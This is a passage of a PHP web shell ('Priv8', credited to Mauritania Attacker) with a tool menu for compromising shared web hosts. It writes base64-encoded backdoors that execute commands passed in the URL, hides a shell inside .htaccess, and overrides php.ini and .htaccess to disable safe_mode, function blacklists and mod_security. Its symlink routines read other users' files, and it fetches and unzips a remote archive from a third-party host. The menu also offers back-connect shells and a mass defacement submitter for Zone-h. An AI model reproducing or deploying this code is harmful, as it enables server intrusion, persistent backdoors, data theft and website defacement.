TYzNTUucG5nIj48L3A+PGZvbnQgZmFjZT0iR2VuZXZhIiBhbGlnbj0iY2VudGVyIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pjxicj4NCjxmb3JtIG1ldGhvZD1nZXQgYWN0aW9uPSInLiRtZS4nIj4NCjxwPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgcm93cz0iMTMiIG5hbWU9IlMxIiBjb2xzPSI3MCIgPic7DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD4NCjxwPjxjZW50ZXI+SWYgbm90aGluZyB3b3JrIGl0IG1lYW5zIHRoYXQgcHl0aG9uIGlzIG5vdCBlbmFibGVkIGluIHRoaXMgc2VydmVyIDooPC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PHN0cm9uZz5Db21tYW5kOiBweXRob24gcmV2ZXJzZS5weSB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==\';
$file = fopen("kiter.php" ,"w+");
$write = fwrite ($file ,base64_decode($merdeeeee));
fclose($file);
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Python Connect Shell Priv8</span><center><center><br><iframe src=pyrevrshell/kiter.php width=75% height=70% frameborder=0></iframe></div></center>\'; 
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'rootexecbpass\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';

echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With exec Function</span><center><br>\';
mkdir(\'excrooooot\', 0755);
chdir(\'excrooooot\');
$excrooooot = \'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydleGVjZXInXSkpeyBleGVjKCdsbiAtcyAvIHJvb3QtZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3QtZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3QtZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==\';

$file = fopen("excrooooot.php" ,"w+");
$write = fwrite ($file ,base64_decode($excrooooot));
fclose($file);
chmod("excrooooot.php",0755);
echo "<iframe src=excrooooot/excrooooot.php width=60% height=60% frameborder=0></iframe>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'bypsrootwzp\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo\'<center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With Zip File</span><br>Coded By Mauritania Attacker</center>\';
echo"<p align=\'center\'><img border=\'0\' src=\'http://4.bp.blogspot.com/-B2RRd3iYCgI/Uj6UtLxxApI/AAAAAAAAATc/DJHEPAWNTmk/s320/Password-protected-zip-file.png\'></p>";
echo\'<div class="tul"><font color="009900" face="Impact, Geneva, sans-serif" style="font-size: 8pt"><font/>\';

echo"<center><font face=\'ghost\' color=\'red\' size=\'5\'><font/>
<form method=\'post\'>
<input type=\'submit\' value=\'Grab To Root Now\' name=\'fuck\'><br>
<center><font color=\'red\' size=\'4\' face=\'ghost\'>Remote Zip File</font><input type=\'text\' size=\'40\' name=\'shell\' value=\'http://hcp1.es/wp-content/uploads/v4.zip\' 
</font></center>
</form>
</center>
</p>";


@error_reporting(0);

$file = $_POST[\'shell\'];
//Generate zip file
mkdir(\'wooooot\', 0755);
chdir(\'wooooot\');
$fopen = fopen("v4.zip",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Zip File Downloaded Successfully
";
sleep(2);
echo "<p>Going To Unzip the File to Get r00t....</p>";

sleep(2); 

//system
system(\'unzip v4.zip\');



//passthru
passthru(\'unzip v4.zip\');



//shell_exec
shell_exec(\'unzip v4.zip\');



//exec
exec(\'unzip v4.zip\');


//proc_open
proc_open(\'unzip v4.zip\');




sleep(1);

//Extracting htaccess For Symlink
chdir(\'wooooot\');
$htaccess = \'T1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kNCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRm9yY2VUeXBlIHRleHQvcGxhaW4NCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sDQpBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLnNodG1sDQpPcHRpb25zIEFsbA0KT3B0aW9ucyBBbGw=\';
$priv8priv = fopen(".htaccess" ,"w+");
$xwrite = fwrite ($priv8priv ,base64_decode($htaccess));

sleep(1);

echo "<p>Loading Perl unzipper.... \!/ </p>";
//dezipper.pl generate
chdir(\'wooooot\');
$l0vercodee = \'eyANCnN5c3RlbSgidW56aXAgdjQuemlwIik7DQpleGVjKCJ1bnppcCB2NC56aXAiKTsNCnBhc3N0aHJ1KCJ1bnppcCB2NC56aXAiKTsNCnNoZWxsX2V4ZWMoInVuemlwIHY0LnppcCIpOw0KcHJvY19vcGVuKCJ1bnppcCB2NC56aXAiKTsNCn0=\';
$greatshiit = fopen("dezipper.pl" ,"w+");
$write = fwrite ($greatshiit ,base64_decode($l0vercodee));
if($write){
echo "<p>Perl Unzipper Downloaded Successfully</p>";
fclose($greatshiit);
chmod("dezipper.pl",0755);

echo "<p>Unzipping File with Perl \!/ </p>";

system(\'perl dezipper.pl\');
passthru(\'perl dezipper.pl\');
shell_exec(\'perl dezipper.pl\');
exec(\'perl dezipper.pl\');
proc_open(\'perl dezipper.pl\');

echo"<br><a href=wooooot/1.txt TARGET=\'_blank\'>Link=====><font color=red size=3 face=\'Courier New\'><b>Root Path</b></font></a>";

}
}
}



if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'zonh\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
?>
<center>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Zone-h Notifier</span></b></center><br>
<form action="" method=\'POST\'><table><tr><td height=\'45\' colspan=\'2\'><form method="post">
<input type="text" name="defacer" value="Virusa Worm" />
<select name="hackmode">
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>

<select name="reason">
<option >--------SELECT--------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone-h">
<center><br><textarea style="color: #009900; background:transparent; box-shadow: 0px 0px 4px #009900;" name="domain" cols="60" rows="9" id="domains">List Of Domains</textarea>
<br /><br /><input type="submit" value="Send Now !" name="SendNowToZoneH" /></center>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'umpetan\'){
if(isset($_GET[\'vw\'])){
$op = $_GET[\'vw\'];
if($op == ".htaccess"){
$o = stripslashes(base64_decode("IyBPdmVycmlkZSBkZWZhdWx0IGRlbnkgcnVsZSB0byBtYWtlIC5odGFjY2VzcyBmaWxlIGFjY2Vzc2libGUgb3ZlciB3ZWINCjxGaWxlcyB+IFwiXlxcLmh0XCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlcz4NCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHAgLmh0YWNjZXNzDQoNCiMjIyMjIyBTSEVMTCAjIyMjIyMgPD9waHAgZWNobyBcIlxcblwiO3Bhc3N0aHJ1KCRfR0VUW1wnY1wnXS5cIiAyPiYxXCIpOyA/PiMjIyMjIyBMTEVIUyAjIyMjIyM="));
$a = fopen(".htaccess", "w");
fputs($a, $o);
fclose($a);
echo \'<br><center>Visit <a target="_blank" href="http://\'.$_SERVER[\'HTTP_HOST\'].\'/.htaccess?c=">\'.$_SERVER[\'HTTP_HOST\'].\'/.htaccess?c=</a></center>\';
}
else{
$o = stripslashes(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUW1wnY1wnXSk7ID8+"));
$a = fopen("gsbtr.php", "w");
fputs($a, $o);
fclose($a);
echo \'<br><center>Visit <a target="_blank" href="\'.$_SERVER[\'HTTP_HOST\'].\'/gsbtr.php?c=">\'.$_SERVER[\'HTTP_HOST\'].\'/gsbtr.php?c=</a></center>\';
}
}
else{ ?>
<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Hide Shell</b></center>
<br><div><center>
<form action="" method="get">
<select name="vw">
<option>.htaccess</option>
<option>.php</option>
</select>
<input type="hidden" name="action" value="umpetan">
<input type="submit" value="Execute">
</form></center>
</div>
<?php
}}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'simling\'){
if(isset($_GET[\'cook\'])){
$a = fopen("oncha.php", "w");
fputs($a, $o);
fclose($a);
}

if(isset($_GET[\'fp\'])){
$filepath = $_GET[\'fp\'];
$sitepath = $_GET[\'sp\'];
$writeblefilepath = \'myfile.txt\';
$flib=$sitepath.$writeblefilepath;
@unlink($flib);
symlink($filepath, $flib);
echo readlink($flib)."
";
echo "<textarea cols=30 rows=10>".file_get_contents("http://".$_SERVER[\'HTTP_HOST\']."/".$writeblefilepath)."</textarea>";
@unlink($flib); 
}
else{ ?>
<div>
<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Symlink #2</b><br><br>
<a href="?action=simlinge">First time Click here</a><br /><br />
File path:<br />
<form action="" method="get">
<input type="text" name="fp" value="/home/users/public_html/file"><br /><br />
Site path:<br />
<input type="text" name="sp" value="/home/users/public_html/"><br />
<input type="hidden" name="action" value="tools"><br>
<input type="submit" value="Execute" style="border-top:0"><br />
</form></center>
</div>
<?php } ?>

</div><br><center>
<textarea id="source">
<?php
if(isset($_POST[\'site\'])){
$fuckcloud = dns_get_record($_POST[\'site\'], DNS_TXT);
print_r($fuckcloud);
}
echo \'</textarea></center>\';
}
?>
<?php

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'mumpet\'){
?>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Manager</span></center><br><div id="box"><br><br>
<form action="" method="get">
<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b>&nbsp;&nbsp;&nbsp;&nbsp;Change directory</b></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" value="<?php if(empty($_GET[\'go\'])){echo getcwd();}else{echo $_GET[\'go\'];} ?>" name="go">
<input type="hidden" name="action" value="files">
<input type="submit" value="Execute">
</form><br>
<form action="" method="get">
<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b>&nbsp;&nbsp;&nbsp;&nbsp;Make directory</b></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" value="name" name="newdir">
<input type="hidden" name="go" value="<?php echo getcwd(); ?>">
<input type="hidden" name="action" value="mumpet">
<input type="submit" value="Execute">
</form><br>
<?php
// delete
if(isset($_GET[\'delete\']) && !empty($_GET[\'action\']) && $_GET[\'action\'] == \'mumpet\'){
$file = $_GET[\'delete\'];
// if exist
if(is_dir($file) || file_exists($file)){
// if file del
if(!is_dir($file)){
unlink($file);
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">File deleted</font><br><br>\';
}
if(is_dir($file)){
function rmdirs($d) {
$f = glob($d . \'*\', GLOB_MARK);
foreach($f as $z){
if(is_dir($z)) rmdirs($z);
else unlink($z);
}
if(is_dir($d)) rmdir($d);
}
rmdirs($file);
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Folder deleted</font><br><br>\';
}
}
else{
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder does not exist</font><br><br>\';
}
}

// rename
if(isset($_GET[\'old_name\']) && !empty($_GET[\'rename_file\']) && !empty($_GET[\'action\']) && $_GET[\'action\'] == \'mumpet\'){
$old = $_GET[\'old_name\'];
$new = $_GET[\'rename_file\'];
// if new file or folder exist
if(is_dir($new) || file_exists($new)){
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder exists.</font> <a href="?delete=\'.$new.\'&action=mumpet">delete</a><br><br>\';
}
else{
// if file or folder exist
if(is_dir($old) || file_exists($old)){
if(rename($old, $new)){
if(is_dir($old)){
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"#b0b000\">Folder renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
}
if(!is_dir($old)){
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"#b0b000\">File renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
}
}
else{
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"red\">Problem renaming ".$old."</font><br><br>";
}
}
else{
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder not found.</font><br><br>\';
}
}
}

if(isset($_GET[\'rename\']) && !empty($_GET[\'action\']) && $_GET[\'action\'] == \'mumpet\'){
$file = $_GET[\'rename\'];
?>
<form action="" method="get">
&nbsp;&nbsp;&nbsp;&nbsp;Old Name:&nbsp;&nbsp;&nbsp;<input name="old_name" type="text" value="<?php echo $file; ?>"><br>
&nbsp;&nbsp;&nbsp;&nbsp;Rename to:&nbsp;&nbsp;<input name="rename_file" type="text" value="<?php echo $file; ?>"><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="hidden" name="action" value="mumpet"><br>
<input type="submit" value="Execute">
</form><br>
<?php
}
// new dir
if(isset($_GET[\'go\']) && !empty($_GET[\'newdir\']) && !empty($_GET[\'action\']) && $_GET[\'action\'] == \'mumpet\'){
$dir = $_GET[\'go\'];
$new = $_GET[\'newdir\'];
$currect = getcwd();
// if dir is dir
if(is_dir($dir)){
// if dir exist
if(is_dir($new)){
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Directory exist.</font> <a href="?del_dir=\'.$currect.\'\\'.$new.\'&action=mumpet">delete</a><br><br>\';
}
else{
if(mkdir($new)){
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Directory created</font><br><br>\';
}
else{
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Problem creating directory</font><br><br>\';
}
if(!is_dir($dir)){
chdir($go);
if(mkdir($new)){
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Directory created</font><br><br>\';
}
else{
echo \'&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Problem creating directory</font><br><br>\';
}
}

}
}
}
$self = $_SERVER[\'PHP_SELF\'];
$dir = getcwd();
if(isset($_GET[\'go\']))
{
$dir = $_GET[\'go\'];
}
if(is_dir($dir))
{
$handle = opendir($dir);
{
		
showDrives();
?>
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<b class="teke"><a style="color:#009900" href="<?php echo $_SERVER[\'PHP_SELF\'].\'?action=mumpet&go=\'.getcwd(); ?>/../"> &nbsp;back&nbsp; </a></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<b class="teke"><a id="teke" style="color:#009900" href="<?php echo $_SERVER[\'HTTP_REFERER\']; ?>">&nbsp; forward&nbsp; </a></b>&nbsp;&nbsp;<br><br>
<?php
if($dir[(strlen($dir)-1)] != \'/\'){$dir = $dir.\'/\';}
while (($file = readdir($handle)) != false) {
if ($file != "." && $file != "..")
{
$color = \'red\';
if(is_readable($dir.$file))
{
$color = \'yellow\';
}
if(is_writable($dir.$file))
{
$color = \'#00ff00\';
}
if(is_dir($dir.$file))
{
?>
<span id="onmouseover">
<a  style="font-size:12px;font-family:sans-serif;color:#00dd00 <?php echo $color?>;" href="<?php echo $self ?>?go=<?php echo $dir.$file ?>&action=mumpet"><b>[ <font color="#00bb00"><?php echo $file ?></font> ]</b></a>
<font color="#b0b000"><?php echo HumanReadableFilesize(dirSize($dir.$file));?></font>
<font color="yellow"> <?php echo getFilePermissions($dir.$file);?></font> <font color="#fff"> > </font><?php echo getperms($dir); ?>
<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>&action=mumpet">Download</a>
<a id="za" style="margin-right:25px" href="<?php echo $self;?>?action=aplot&path=<?php echo $dir.$file;?>">Upload</a><br>
</span>
<?php
}
//Its a file 
else
{
?>
<span id="onmouseover">
<a style="font-family: Optima, Segoe, Segoe UI, Candara, Calibri, Arial, sans-serif;color: "<?php echo $color?>;" href=\'<?php echo $self ?>?view=<?php echo $dir.$file ?>\'><?php echo $file ?></a>
<font color="#b0b000"><?php echo HumanReadableFilesize(filesize($dir.$file));?></font>
<font color="yellow"><?php echo getFilePermissions($dir.$file);?></font> <font color="#fff">> </font><?php echo getperms($dir.$file); ?>
<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>">Download</a><br>
</span>
<?php
}
}
}
closedir($handle);
}
}
else
{
echo "<p class=\'alert_red\' id=\'margins\'>Permission Denied</p>";
}
?>
<br></div>
<?php
}
?>
<br><br>
<?php
if(!isset($_GET[\'action\']) && !isset($_GET[\'upload\']) && !isset($_GET[\'get\']) && !isset($_GET[\'turnoff\']) && !isset($_GET[\'view\']) && !isset($_GET[\'db\'])){
if($_POST[\'pateni\']==\'sikat\'){
@error_reporting(0);
$phpini =
\'c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=\';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =\'PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQpTZWNGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZg0KU2VjRmlsdGVyQ2hlY2tDb29raWVGb3JtYXQgT2ZmDQpTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYNClNlY0ZpbHRlck5vcm1hbGl6ZUNvb2tpZXMgT2ZmDQo8L0lmTW9kdWxlPg==\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo \'<meta http-equiv="refresh" content="2; url=?\'.$pwd.\'" /><br><br><br><b><center><span style="font-size:25px; font-family:Fredericka the Great; color:#009900">Bypassed !</span></center></b>\';
exit;
}
echo \'
<br><center><font face="Tahoma" color="#007700" size="2pt"><b>Disable Function :
</b></font><form method="POST">
<input name="pateni" type="hidden" value="sikat">\';

if(\'\'==($func=@ini_get(\'disable_functions\')))
{
echo "<b><font color=#00bb00>No Security for Functions</font></b>";
}else{
echo \'<b><font color=#d00000>[ Please Bypass Safemode First! ]</font></b><br><br>\';
echo "<div id=\'boxe\'><font color=#ff0000>$func</font></div>";

echo \'<br><input type="submit" value="Bypass Disabled Functions">\';
}
echo \'</center><br>\';
echo "<br><br><center><b><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>Server IP : </font></b></td><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\' />";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo " &nbsp;&nbsp;&nbsp;&nbsp; <b><a href=\'http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all\' target=\"_blank\">Bing Search
